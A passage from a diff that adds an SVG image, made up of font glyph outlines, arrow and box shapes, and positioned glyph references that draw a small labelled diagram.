+<path style="stroke:none;" d="M 0.84375 -2.375 C 0.84375 -3.03125 0.976562 -3.585938 1.25 -4.046875 C 1.519531 -4.503906 1.921875 -4.921875 2.453125 -5.296875 C 2.253906 -5.441406 2.066406 -5.59375 1.890625 -5.75 C 1.722656 -5.914062 1.578125 -6.097656 1.453125 -6.296875 C 1.328125 -6.503906 1.226562 -6.734375 1.15625 -6.984375 C 1.082031 -7.242188 1.046875 -7.539062 1.046875 -7.875 C 1.046875 -8.664062 1.25 -9.289062 1.65625 -9.75 C 2.070312 -10.21875 2.644531 -10.453125 3.375 -10.453125 C 4.050781 -10.453125 4.585938 -10.242188 4.984375 -9.828125 C 5.378906 -9.410156 5.578125 -8.835938 5.578125 -8.109375 C 5.578125 -7.554688 5.46875 -7.0625 5.25 -6.625 C 5.039062 -6.195312 4.703125 -5.78125 4.234375 -5.375 C 4.441406 -5.226562 4.640625 -5.066406 4.828125 -4.890625 C 5.015625 -4.710938 5.175781 -4.515625 5.3125 -4.296875 C 5.457031 -4.078125 5.566406 -3.828125 5.640625 -3.546875 C 5.722656 -3.265625 5.765625 -2.941406 5.765625 -2.578125 C 5.765625 -1.742188 5.539062 -1.078125 5.09375 -0.578125 C 4.65625 -0.078125 4.039062 0.171875 3.25 0.171875 C 2.863281 0.171875 2.523438 0.109375 2.234375 -0.015625 C 1.941406 -0.140625 1.691406 -0.3125 1.484375 -0.53125 C 1.273438 -0.757812 1.113281 -1.03125 1 -1.34375 C 0.894531 -1.65625 0.84375 -2 0.84375 -2.375 Z M 3.140625 -4.890625 C 2.691406 -4.554688 2.363281 -4.179688 2.15625 -3.765625 C 1.957031 -3.359375 1.859375 -2.945312 1.859375 -2.53125 C 1.859375 -2.039062 1.976562 -1.625 2.21875 -1.28125 C 2.46875 -0.945312 2.828125 -0.78125 3.296875 -0.78125 C 3.679688 -0.78125 4.007812 -0.914062 4.28125 -1.1875 C 4.5625 -1.46875 4.703125 -1.914062 4.703125 -2.53125 C 4.703125 -2.832031 4.660156 -3.097656 4.578125 -3.328125 C 4.492188 -3.566406 4.375 -3.773438 4.21875 -3.953125 C 4.070312 -4.128906 3.90625 -4.296875 3.71875 -4.453125 C 3.539062 -4.609375 3.347656 -4.753906 3.140625 -4.890625 Z M 3.53125 -5.75 C 3.863281 -6.082031 4.117188 -6.414062 4.296875 -6.75 C 4.472656 -7.09375 4.5625 -7.46875 4.5625 -7.875 C 4.5625 -8.414062 4.441406 -8.820312 4.203125 -9.09375 C 3.960938 -9.363281 3.679688 -9.5 3.359375 -9.5 C 3.148438 -9.5 2.960938 -9.457031 2.796875 -9.375 C 2.640625 -9.289062 2.507812 -9.171875 2.40625 -9.015625 C 2.300781 -8.867188 2.21875 -8.703125 2.15625 -8.515625 C 2.09375 -8.328125 2.0625 -8.125 2.0625 -7.90625 C 2.0625 -7.644531 2.097656 -7.40625 2.171875 -7.1875 C 2.253906 -6.976562 2.363281 -6.789062 2.5 -6.625 C 2.644531 -6.457031 2.804688 -6.300781 2.984375 -6.15625 C 3.160156 -6.007812 3.34375 -5.875 3.53125 -5.75 Z M 3.53125 -5.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-23">
+<path style="stroke:none;" d="M 0.5625 -5.140625 C 0.5625 -6.078125 0.617188 -6.878906 0.734375 -7.546875 C 0.847656 -8.222656 1.019531 -8.773438 1.25 -9.203125 C 1.488281 -9.628906 1.78125 -9.941406 2.125 -10.140625 C 2.46875 -10.347656 2.859375 -10.453125 3.296875 -10.453125 C 3.765625 -10.453125 4.171875 -10.347656 4.515625 -10.140625 C 4.867188 -9.941406 5.15625 -9.628906 5.375 -9.203125 C 5.601562 -8.773438 5.769531 -8.222656 5.875 -7.546875 C 5.988281 -6.878906 6.046875 -6.078125 6.046875 -5.140625 C 6.046875 -4.191406 5.984375 -3.378906 5.859375 -2.703125 C 5.742188 -2.035156 5.566406 -1.488281 5.328125 -1.0625 C 5.097656 -0.632812 4.8125 -0.320312 4.46875 -0.125 C 4.132812 0.0703125 3.75 0.171875 3.3125 0.171875 C 2.832031 0.171875 2.421875 0.0703125 2.078125 -0.125 C 1.734375 -0.332031 1.445312 -0.648438 1.21875 -1.078125 C 0.988281 -1.515625 0.820312 -2.066406 0.71875 -2.734375 C 0.613281 -3.398438 0.5625 -4.203125 0.5625 -5.140625 Z M 1.65625 -5.140625 C 1.65625 -3.734375 1.785156 -2.65625 2.046875 -1.90625 C 2.316406 -1.15625 2.742188 -0.78125 3.328125 -0.78125 C 3.898438 -0.78125 4.3125 -1.125 4.5625 -1.8125 C 4.820312 -2.5 4.953125 -3.609375 4.953125 -5.140625 C 4.953125 -6.523438 4.828125 -7.597656 4.578125 -8.359375 C 4.328125 -9.117188 3.898438 -9.5 3.296875 -9.5 C 2.734375 -9.5 2.316406 -9.15625 2.046875 -8.46875 C 1.785156 -7.78125 1.65625 -6.671875 1.65625 -5.140625 Z M 1.65625 -5.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-24">
+<path style="stroke:none;" d="M 0.578125 -0.65625 C 0.578125 -0.9375 0.640625 -1.144531 0.765625 -1.28125 C 0.898438 -1.414062 1.082031 -1.484375 1.3125 -1.484375 C 1.53125 -1.484375 1.707031 -1.414062 1.84375 -1.28125 C 1.976562 -1.144531 2.046875 -0.9375 2.046875 -0.65625 C 2.046875 -0.375 1.976562 -0.164062 1.84375 -0.03125 C 1.707031 0.101562 1.53125 0.171875 1.3125 0.171875 C 1.082031 0.171875 0.898438 0.101562 0.765625 -0.03125 C 0.640625 -0.164062 0.578125 -0.375 0.578125 -0.65625 Z M 0.578125 -0.65625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-25">
+<path style="stroke:none;" d="M 5.515625 -7.328125 L 5.515625 0 L 4.453125 0 L 4.453125 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 L 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.3125 -9.332031 1.6875 -9.75 C 2.0625 -10.164062 2.601562 -10.375 3.3125 -10.375 C 3.789062 -10.375 4.207031 -10.328125 4.5625 -10.234375 C 4.925781 -10.140625 5.21875 -10.035156 5.4375 -9.921875 L 5.109375 -9.03125 C 4.867188 -9.175781 4.601562 -9.273438 4.3125 -9.328125 C 4.03125 -9.390625 3.734375 -9.421875 3.421875 -9.421875 C 3.140625 -9.421875 2.921875 -9.375 2.765625 -9.28125 C 2.609375 -9.1875 2.484375 -9.046875 2.390625 -8.859375 C 2.304688 -8.679688 2.25 -8.460938 2.21875 -8.203125 C 2.195312 -7.941406 2.1875 -7.648438 2.1875 -7.328125 Z M 5.515625 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-26">
+<path style="stroke:none;" d="M 2.359375 -3.75 L 0.421875 -7.328125 L 1.6875 -7.328125 L 2.765625 -5.234375 L 3.0625 -4.421875 L 3.375 -5.234375 L 4.484375 -7.328125 L 5.65625 -7.328125 L 3.703125 -3.8125 L 5.765625 0 L 4.5625 0 L 3.328125 -2.296875 L 3 -3.1875 L 2.671875 -2.296875 L 1.4375 0 L 0.28125 0 Z M 2.359375 -3.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-27">
+<path style="stroke:none;" d="M 1.359375 -1.109375 C 1.546875 -1.003906 1.757812 -0.921875 2 -0.859375 C 2.238281 -0.804688 2.515625 -0.78125 2.828125 -0.78125 C 3.097656 -0.78125 3.34375 -0.832031 3.5625 -0.9375 C 3.78125 -1.039062 3.96875 -1.191406 4.125 -1.390625 C 4.289062 -1.585938 4.414062 -1.820312 4.5 -2.09375 C 4.59375 -2.363281 4.640625 -2.660156 4.640625 -2.984375 C 4.640625 -3.703125 4.476562 -4.226562 4.15625 -4.5625 C 3.84375 -4.894531 3.398438 -5.0625 2.828125 -5.0625 L 1.953125 -5.0625 L 1.953125 -5.484375 L 3.65625 -8.78125 L 4.21875 -9.390625 L 3.421875 -9.28125 L 1.109375 -9.28125 L 1.109375 -10.265625 L 5.375 -10.265625 L 5.375 -9.84375 L 3.484375 -6.34375 L 3.046875 -5.90625 L 3.046875 -5.890625 L 3.484375 -5.96875 C 3.785156 -5.96875 4.070312 -5.90625 4.34375 -5.78125 C 4.613281 -5.664062 4.847656 -5.488281 5.046875 -5.25 C 5.242188 -5.007812 5.398438 -4.710938 5.515625 -4.359375 C 5.628906 -4.003906 5.6875 -3.59375 5.6875 -3.125 C 5.6875 -2.59375 5.609375 -2.117188 5.453125 -1.703125 C 5.304688 -1.296875 5.101562 -0.953125 4.84375 -0.671875 C 4.582031 -0.398438 4.28125 -0.191406 3.9375 -0.046875 C 3.59375 0.0976562 3.222656 0.171875 2.828125 0.171875 C 2.484375 0.171875 2.160156 0.140625 1.859375 0.078125 C 1.554688 0.0234375 1.296875 -0.0507812 1.078125 -0.15625 Z M 1.359375 -1.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-28">
+<path style="stroke:none;" d="M 5.828125 -4.734375 L 2.046875 -4.734375 L 2.046875 0 L 0.9375 0 L 0.9375 -10.265625 L 2.046875 -10.265625 L 2.046875 -5.75 L 5.828125 -5.75 L 5.828125 -10.265625 L 6.921875 -10.265625 L 6.921875 0 L 5.828125 0 Z M 5.828125 -4.734375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-29">
+<path style="stroke:none;" d="M 2 -1.75 C 2 -1.40625 2.046875 -1.160156 2.140625 -1.015625 C 2.234375 -0.867188 2.363281 -0.796875 2.53125 -0.796875 C 2.726562 -0.796875 2.96875 -0.847656 3.25 -0.953125 L 3.34375 -0.109375 C 3.21875 -0.0234375 3.039062 0.0351562 2.8125 0.078125 C 2.582031 0.128906 2.375 0.15625 2.1875 0.15625 C 1.8125 0.15625 1.507812 0.0390625 1.28125 -0.1875 C 1.050781 -0.414062 0.9375 -0.816406 0.9375 -1.390625 L 0.9375 -10.265625 L 2 -10.265625 Z M 2 -1.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-30">
+<path style="stroke:none;" d="M 0.671875 -7.15625 C 0.671875 -8.175781 0.890625 -8.976562 1.328125 -9.5625 C 1.765625 -10.15625 2.410156 -10.453125 3.265625 -10.453125 C 4.085938 -10.453125 4.726562 -10.144531 5.1875 -9.53125 C 5.644531 -8.925781 5.875 -8 5.875 -6.75 C 5.875 -5.644531 5.769531 -4.679688 5.5625 -3.859375 C 5.351562 -3.046875 5.066406 -2.359375 4.703125 -1.796875 C 4.347656 -1.234375 3.925781 -0.789062 3.4375 -0.46875 C 2.945312 -0.144531 2.414062 0.0664062 1.84375 0.171875 L 1.5625 -0.6875 C 2.507812 -0.9375 3.238281 -1.425781 3.75 -2.15625 C 4.269531 -2.894531 4.597656 -3.820312 4.734375 -4.9375 C 4.535156 -4.65625 4.3125 -4.457031 4.0625 -4.34375 C 3.8125 -4.226562 3.476562 -4.171875 3.0625 -4.171875 C 2.75 -4.171875 2.445312 -4.226562 2.15625 -4.34375 C 1.875 -4.46875 1.625 -4.65625 1.40625 -4.90625 C 1.1875 -5.15625 1.007812 -5.46875 0.875 -5.84375 C 0.738281 -6.21875 0.671875 -6.65625 0.671875 -7.15625 Z M 1.75 -7.28125 C 1.75 -6.582031 1.890625 -6.046875 2.171875 -5.671875 C 2.453125 -5.304688 2.828125 -5.125 3.296875 -5.125 C 3.671875 -5.125 3.988281 -5.203125 4.25 -5.359375 C 4.507812 -5.523438 4.695312 -5.734375 4.8125 -5.984375 C 4.832031 -6.109375 4.84375 -6.226562 4.84375 -6.34375 C 4.84375 -6.46875 4.84375 -6.582031 4.84375 -6.6875 C 4.84375 -7.0625 4.8125 -7.414062 4.75 -7.75 C 4.6875 -8.09375 4.585938 -8.390625 4.453125 -8.640625 C 4.316406 -8.898438 4.144531 -9.109375 3.9375 -9.265625 C 3.738281 -9.421875 3.5 -9.5 3.21875 -9.5 C 2.757812 -9.5 2.398438 -9.296875 2.140625 -8.890625 C 1.878906 -8.492188 1.75 -7.957031 1.75 -7.28125 Z M 1.75 -7.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-31">
+<path style="stroke:none;" d="M 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.78125 L 1.96875 -6.78125 C 2.363281 -7.269531 2.894531 -7.515625 3.5625 -7.515625 C 4.3125 -7.515625 4.875 -7.210938 5.25 -6.609375 C 5.632812 -6.015625 5.828125 -5.070312 5.828125 -3.78125 C 5.828125 -2.457031 5.570312 -1.472656 5.0625 -0.828125 C 4.5625 -0.191406 3.851562 0.125 2.9375 0.125 C 2.488281 0.125 2.078125 0.078125 1.703125 -0.015625 C 1.328125 -0.117188 1.046875 -0.238281 0.859375 -0.375 Z M 1.921875 -1.078125 C 2.054688 -0.992188 2.222656 -0.929688 2.421875 -0.890625 C 2.628906 -0.847656 2.84375 -0.828125 3.0625 -0.828125 C 3.570312 -0.828125 3.972656 -1.066406 4.265625 -1.546875 C 4.566406 -2.035156 4.71875 -2.78125 4.71875 -3.78125 C 4.71875 -4.207031 4.691406 -4.585938 4.640625 -4.921875 C 4.585938 -5.253906 4.503906 -5.539062 4.390625 -5.78125 C 4.273438 -6.03125 4.128906 -6.222656 3.953125 -6.359375 C 3.773438 -6.492188 3.554688 -6.5625 3.296875 -6.5625 C 2.941406 -6.5625 2.648438 -6.453125 2.421875 -6.234375 C 2.191406 -6.023438 2.023438 -5.742188 1.921875 -5.390625 Z M 1.921875 -1.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-32">
+<path style="stroke:none;" d="M 5.9375 -3.09375 C 5.925781 -2.601562 5.863281 -2.15625 5.75 -1.75 C 5.644531 -1.34375 5.484375 -1 5.265625 -0.71875 C 5.046875 -0.4375 4.773438 -0.21875 4.453125 -0.0625 C 4.128906 0.09375 3.769531 0.171875 3.375 0.171875 C 2.550781 0.171875 1.90625 -0.125 1.4375 -0.71875 C 0.976562 -1.3125 0.75 -2.222656 0.75 -3.453125 C 0.75 -4.484375 0.851562 -5.40625 1.0625 -6.21875 C 1.269531 -7.03125 1.554688 -7.726562 1.921875 -8.3125 C 2.285156 -8.90625 2.710938 -9.378906 3.203125 -9.734375 C 3.691406 -10.085938 4.210938 -10.328125 4.765625 -10.453125 L 5.0625 -9.59375 C 4.625 -9.476562 4.222656 -9.28125 3.859375 -9 C 3.492188 -8.726562 3.175781 -8.394531 2.90625 -8 C 2.632812 -7.613281 2.40625 -7.175781 2.21875 -6.6875 C 2.039062 -6.195312 1.914062 -5.675781 1.84375 -5.125 C 1.976562 -5.382812 2.191406 -5.613281 2.484375 -5.8125 C 2.785156 -6.007812 3.15625 -6.109375 3.59375 -6.109375 C 4.300781 -6.109375 4.863281 -5.859375 5.28125 -5.359375 C 5.707031 -4.859375 5.925781 -4.101562 5.9375 -3.09375 Z M 4.875 -3 C 4.875 -4.4375 4.351562 -5.15625 3.3125 -5.15625 C 2.945312 -5.15625 2.628906 -5.035156 2.359375 -4.796875 C 2.097656 -4.566406 1.910156 -4.300781 1.796875 -4 C 1.785156 -3.875 1.78125 -3.75 1.78125 -3.625 C 1.78125 -3.507812 1.785156 -3.394531 1.796875 -3.28125 C 1.785156 -2.957031 1.8125 -2.644531 1.875 -2.34375 C 1.9375 -2.050781 2.03125 -1.785156 2.15625 -1.546875 C 2.289062 -1.316406 2.457031 -1.128906 2.65625 -0.984375 C 2.863281 -0.847656 3.101562 -0.78125 3.375 -0.78125 C 3.8125 -0.78125 4.171875 -0.972656 4.453125 -1.359375 C 4.734375 -1.753906 4.875 -2.300781 4.875 -3 Z M 4.875 -3 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-33">
+<path style="stroke:none;" d="M 6.328125 -3.15625 L 4.953125 -3.15625 L 4.953125 0 L 3.90625 0 L 3.90625 -3.15625 L 0.296875 -3.15625 L 0.296875 -3.65625 L 4.1875 -10.4375 L 4.953125 -10.4375 L 4.953125 -4.109375 L 6.328125 -4.109375 Z M 3.90625 -7.390625 L 4.078125 -8.65625 L 4.03125 -8.65625 L 3.59375 -7.53125 L 1.984375 -4.71875 L 1.421875 -4 L 2.234375 -4.109375 L 3.90625 -4.109375 Z M 3.90625 -7.390625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-34">
+<path style="stroke:none;" d="M 1.359375 -10.265625 L 2.46875 -10.265625 L 2.46875 -2.296875 C 2.46875 -1.492188 2.335938 -0.882812 2.078125 -0.46875 C 1.816406 -0.0625 1.363281 0.140625 0.71875 0.140625 C 0.5625 0.140625 0.375 0.117188 0.15625 0.078125 C -0.0625 0.046875 -0.238281 -0.0078125 -0.375 -0.09375 L -0.140625 -1.046875 C -0.046875 -0.984375 0.0546875 -0.9375 0.171875 -0.90625 C 0.296875 -0.875 0.425781 -0.859375 0.5625 -0.859375 C 0.738281 -0.859375 0.878906 -0.894531 0.984375 -0.96875 C 1.085938 -1.050781 1.171875 -1.164062 1.234375 -1.3125 C 1.296875 -1.457031 1.332031 -1.628906 1.34375 -1.828125 C 1.351562 -2.023438 1.359375 -2.253906 1.359375 -2.515625 Z M 1.359375 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-35">
+<path style="stroke:none;" d="M 5.234375 -10.265625 L 5.234375 -9.25 L 2.453125 -9.25 L 2.453125 -6.25 L 2.953125 -6.296875 C 3.734375 -6.285156 4.347656 -6.015625 4.796875 -5.484375 C 5.242188 -4.953125 5.472656 -4.195312 5.484375 -3.21875 C 5.472656 -2.664062 5.390625 -2.175781 5.234375 -1.75 C 5.085938 -1.332031 4.878906 -0.976562 4.609375 -0.6875 C 4.347656 -0.40625 4.039062 -0.191406 3.6875 -0.046875 C 3.34375 0.0976562 2.96875 0.171875 2.5625 0.171875 C 1.894531 0.171875 1.351562 0.078125 0.9375 -0.109375 L 1.203125 -1.046875 C 1.378906 -0.953125 1.570312 -0.890625 1.78125 -0.859375 C 2 -0.828125 2.25 -0.8125 2.53125 -0.8125 C 3.09375 -0.8125 3.546875 -1.015625 3.890625 -1.421875 C 4.242188 -1.828125 4.425781 -2.394531 4.4375 -3.125 C 4.425781 -3.875 4.242188 -4.429688 3.890625 -4.796875 C 3.546875 -5.160156 3.066406 -5.34375 2.453125 -5.34375 L 1.484375 -5.265625 L 1.484375 -10.265625 Z M 5.234375 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-36">
+<path style="stroke:none;" d="M 4.78125 -7.328125 L 6.09375 -3.046875 L 6.359375 -1.640625 L 6.375 -1.640625 L 6.609375 -3.078125 L 7.59375 -7.328125 L 8.59375 -7.328125 L 6.640625 0.15625 L 6.046875 0.15625 L 4.5625 -4.65625 L 4.359375 -5.890625 L 4.328125 -5.890625 L 4.125 -4.640625 L 2.6875 0.15625 L 2.078125 0.15625 L 0.078125 -7.328125 L 1.203125 -7.328125 L 2.328125 -3.0625 L 2.515625 -1.640625 L 2.53125 -1.640625 L 2.796875 -3.09375 L 4 -7.328125 Z M 4.78125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-37">
+<path style="stroke:none;" d="M 1.0625 -10.265625 L 2.0625 -10.265625 L 1.6875 -7.4375 L 1.0625 -7.4375 Z M 1.0625 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-38">
+<path style="stroke:none;" d="M 1.390625 0 L 4.359375 -8.671875 L 4.890625 -9.390625 L 4.1875 -9.265625 L 0.828125 -9.265625 L 0.828125 -10.265625 L 5.828125 -10.265625 L 5.828125 -9.875 L 2.453125 0 Z M 1.390625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-39">
+<path style="stroke:none;" d="M 1.125 -6.5625 C 1.125 -6.84375 1.1875 -7.050781 1.3125 -7.1875 C 1.445312 -7.320312 1.628906 -7.390625 1.859375 -7.390625 C 2.078125 -7.390625 2.253906 -7.320312 2.390625 -7.1875 C 2.523438 -7.050781 2.59375 -6.84375 2.59375 -6.5625 C 2.59375 -6.28125 2.523438 -6.070312 2.390625 -5.9375 C 2.253906 -5.800781 2.078125 -5.734375 1.859375 -5.734375 C 1.628906 -5.734375 1.445312 -5.800781 1.3125 -5.9375 C 1.1875 -6.070312 1.125 -6.28125 1.125 -6.5625 Z M 1.125 -0.65625 C 1.125 -0.9375 1.1875 -1.144531 1.3125 -1.28125 C 1.445312 -1.414062 1.628906 -1.484375 1.859375 -1.484375 C 2.078125 -1.484375 2.253906 -1.414062 2.390625 -1.28125 C 2.523438 -1.144531 2.59375 -0.9375 2.59375 -0.65625 C 2.59375 -0.375 2.523438 -0.164062 2.390625 -0.03125 C 2.253906 0.101562 2.078125 0.171875 1.859375 0.171875 C 1.628906 0.171875 1.445312 0.101562 1.3125 -0.03125 C 1.1875 -0.164062 1.125 -0.375 1.125 -0.65625 Z M 1.125 -0.65625 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface20660">
+<rect x="0" y="0" width="441" height="407" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 3.5 18.2 L 25.5 18.2 L 25.5 38.5 L 3.5 38.5 Z M 3.5 18.2 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13 25.994141 L 13 31.444141 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12.75 31.444141 L 13 31.944141 L 13.25 31.444141 Z M 12.75 31.444141 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15 26.555859 L 15 32.005859 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.25 26.555859 L 15 26.055859 L 14.75 26.555859 Z M 15.25 26.555859 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12 27.827539 L 16 27.827539 C 16.552344 27.827539 17 28.352344 17 29 C 17 29.647461 16.552344 30.172461 16 30.172461 L 12 30.172461 C 11.447656 30.172461 11 29.647461 11 29 C 11 28.352344 11.447656 27.827539 12 27.827539 Z M 12 27.827539 " transform="matrix(20,0,0,20,-69,-363)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="181.292969" y="225.892795"/>
+  <use xlink:href="#glyph0-2" x="191.848524" y="225.892795"/>
+  <use xlink:href="#glyph0-3" x="200.737413" y="225.892795"/>
+  <use xlink:href="#glyph0-4" x="207.959635" y="225.892795"/>
+  <use xlink:href="#glyph0-5" x="213.515191" y="225.892795"/>
+  <use xlink:href="#glyph0-6" x="219.070747" y="225.892795"/>
+  <use xlink:href="#glyph0-7" x="223.515191" y="225.892795"/>
+  <use xlink:href="#glyph0-8" x="232.40408" y="225.892795"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="101.15625" y="307.275608"/>
+  <use xlink:href="#glyph0-10" x="108.378472" y="307.275608"/>
+  <use xlink:href="#glyph0-11" x="116.434028" y="307.275608"/>
+  <use xlink:href="#glyph0-12" x="125.322917" y="307.275608"/>
+  <use xlink:href="#glyph0-8" x="130.045139" y="307.275608"/>
+  <use xlink:href="#glyph0-13" x="138.378472" y="307.275608"/>
+  <use xlink:href="#glyph0-14" x="142.545139" y="307.275608"/>
+  <use xlink:href="#glyph0-15" x="146.989583" y="307.275608"/>
+  <use xlink:href="#glyph0-5" x="155.878472" y="307.275608"/>
+  <use xlink:href="#glyph0-2" x="161.434028" y="307.275608"/>
+  <use xlink:href="#glyph0-16" x="170.322917" y="307.275608"/>
+  <use xlink:href="#glyph0-17" x="179.211806" y="307.275608"/>
+  <use xlink:href="#glyph0-3" x="188.100694" y="307.275608"/>
+  <use xlink:href="#glyph0-4" x="195.322917" y="307.275608"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.3 34 C 4.134375 34 4 34.134375 4 34.3 L 4 37.7 C 4 37.865625 4.134375 38 4.3 38 L 17.7 38 C 17.865625 38 18 37.865625 18 37.7 L 18 34.3 C 18 34.134375 17.865625 34 17.7 34 Z M 4.3 34 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4 35.104102 L 18 35.104102 L 18 35.990039 L 4 35.990039 Z M 4 35.104102 " transform="matrix(20,0,0,20,-69,-363)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="18.78125" y="334.478841"/>
+  <use xlink:href="#glyph1-2" x="21.836806" y="334.478841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="43.225694" y="334.478841"/>
+  <use xlink:href="#glyph1-4" x="49.614583" y="334.478841"/>
+  <use xlink:href="#glyph1-5" x="55.447917" y="334.478841"/>
+  <use xlink:href="#glyph1-6" x="64.892361" y="334.478841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-7" x="92.114583" y="334.478841"/>
+  <use xlink:href="#glyph1-8" x="98.503472" y="334.478841"/>
+  <use xlink:href="#glyph1-1" x="102.392361" y="334.478841"/>
+  <use xlink:href="#glyph1-9" x="105.447917" y="334.478841"/>
+  <use xlink:href="#glyph1-6" x="110.447917" y="334.478841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="141.003472" y="334.478841"/>
+  <use xlink:href="#glyph1-10" x="144.059028" y="334.478841"/>
+  <use xlink:href="#glyph1-2" x="147.114583" y="334.478841"/>
+  <use xlink:href="#glyph1-6" x="153.503472" y="334.478841"/>
+  <use xlink:href="#glyph1-11" x="159.614583" y="334.478841"/>
+  <use xlink:href="#glyph1-9" x="164.614583" y="334.478841"/>
+  <use xlink:href="#glyph1-8" x="169.892361" y="334.478841"/>
+  <use xlink:href="#glyph1-1" x="173.78125" y="334.478841"/>
+  <use xlink:href="#glyph1-7" x="176.836806" y="334.478841"/>
+  <use xlink:href="#glyph1-12" x="183.225694" y="334.478841"/>
+  <use xlink:href="#glyph1-1" x="187.392361" y="334.478841"/>
+  <use xlink:href="#glyph1-13" x="190.447917" y="334.478841"/>
+  <use xlink:href="#glyph1-3" x="196.836806" y="334.478841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="214.336806" y="334.478841"/>
+  <use xlink:href="#glyph1-10" x="217.392361" y="334.478841"/>
+  <use xlink:href="#glyph1-10" x="220.447917" y="334.478841"/>
+  <use xlink:href="#glyph1-9" x="223.503472" y="334.478841"/>
+  <use xlink:href="#glyph1-4" x="228.78125" y="334.478841"/>
+  <use xlink:href="#glyph1-12" x="234.614583" y="334.478841"/>
+  <use xlink:href="#glyph1-6" x="238.503472" y="334.478841"/>
+  <use xlink:href="#glyph1-14" x="244.336806" y="334.478841"/>
+  <use xlink:href="#glyph1-13" x="250.725694" y="334.478841"/>
+  <use xlink:href="#glyph1-8" x="257.114583" y="334.478841"/>
+  <use xlink:href="#glyph1-15" x="261.003472" y="334.478841"/>
+  <use xlink:href="#glyph1-16" x="266.559028" y="334.478841"/>
+  <use xlink:href="#glyph1-1" x="271.559028" y="334.478841"/>
+  <use xlink:href="#glyph1-2" x="274.614583" y="334.478841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="18.78125" y="352.822591"/>
+  <use xlink:href="#glyph1-18" x="25.447917" y="352.822591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-19" x="43.225694" y="352.822591"/>
+  <use xlink:href="#glyph1-1" x="50.170139" y="352.822591"/>
+  <use xlink:href="#glyph1-20" x="53.225694" y="352.822591"/>
+  <use xlink:href="#glyph1-6" x="58.78125" y="352.822591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-21" x="92.114583" y="352.822591"/>
+  <use xlink:href="#glyph1-22" x="98.78125" y="352.822591"/>
+  <use xlink:href="#glyph1-23" x="105.447917" y="352.822591"/>
